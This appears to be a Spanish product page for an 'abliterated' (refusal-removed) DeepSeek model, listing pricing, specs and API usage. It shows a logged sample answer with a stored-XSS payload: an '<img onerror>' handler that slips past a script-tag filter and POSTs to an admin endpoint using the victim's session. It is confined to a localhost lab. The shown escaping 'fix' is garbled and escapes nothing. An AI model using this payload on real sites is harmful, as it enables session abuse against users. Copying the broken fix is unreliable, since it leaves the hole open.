Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash 1017 Abliterated
deepseek-v4.1-flash-1017-abliterated Para Chat. Recomendación editorial, no una clasificación de pruebas comparativas.
Disponible en el chat del navegador y mediante la API compatible con OpenAI.
Precios de tokens
Precios en USD por 1 millón de tokens
- Entrada / 1M
- 0,300 US$
- En caché / 1M
- 0,120 US$
- Salida / 1M
- 0,300 US$
Especificaciones del modelo
DeepSeek · abliterado
- Ventana de contexto
- 1.000.000 tokens
- Salida máxima
- 65.536 tokens
- Capacidades
- Texto · Streaming · Llamadas a herramientas
Rendimiento medido
- Tokens/s promedio
- 62,7
- TTFT estimado
- ≈ 5,3 s
- Indicador de disponibilidad
- 99,9%
Actualizado 1/11/26, 20:28:37 UTC · Éxito del proveedor en 24 h · Un guion indica que no hay suficientes mediciones actuales.
Mira cómo responde el modelo
Respuesta real a una pregunta sobre XSS almacenado en un laboratorio local. La pregunta y la respuesta están en inglés. La salida es texto; aquí no se ejecuta código de ejemplo.
DeepSeek V4.1 Flash 1017 Abliterated
Respuesta registrada · 28 oct 2026, 19:09 UTC
Extracto seleccionado de la respuesta registrada. Se omiten algunas partes.
## Reproduce
node server.js &
curl -s -X POST localhost:3000/comment --data-urlencode 't=<img src=x onerror="fetch('"'"'/admin/banner'"'"',{method:'"'"'POST'"'"',headers:{'"'"'Content-Type'"'"':'"'"'application/json'"'"'},body:JSON.stringify({text:'"'"'OWNED IN THE LAB'"'"'})})">'
curl -s -c /tmp/j localhost:3000/admin # fake admin session
node bot.js # prints: OWNED IN THE LABThe <img onerror> slips past the <script> regex; the handler runs same-origin, so the browser attaches sid=admin and the POST is authorized.
## Fix (safe rendering)
const esc = s => s.replace(/[&<>"]/g, c => ({ '&':'&','<':'<','>':'>','"':'"' }[c]));
// ... <p>${esc(c)}</p>Ejemplo registrado, no es un chat en directo.Abrir chat
Usa este modelo mediante la API
Crea una clave API y añade saldo. Define UNCENSOREDLABS_API_KEY en tu entorno. Instala el paquete openai para JavaScript o Python.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-1017-abliterated",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' Compatible con OpenAI. Cambia tu URL base.Leer el inicio rápido
Limitaciones y facturación
- Sin filtros no garantiza una respuesta a cada pregunta. Las respuestas pueden ser incorrectas, incompletas o rechazadas.
- La salida máxima es el límite del servicio UncensoredLabs. No se han evaluado generaciones largas ni cargas de contexto completo.
- Se reserva crédito para la salida solicitada y un límite conservador de entrada; se usa el contexto completo en modelos sin contabilidad verificada por tamaño de solicitud. El cargo final usa consumo verificado; las solicitudes inciertas pueden mantener su reserva.
- El plazo es de diez minutos. Se aplican límites de frecuencia, concurrencia y disponibilidad del proveedor; los errores incluyen 429 con Retry-After.
- UncensoredLabs no almacena preguntas ni respuestas en sus servidores. Se aplica la política de retención del proveedor de inferencia.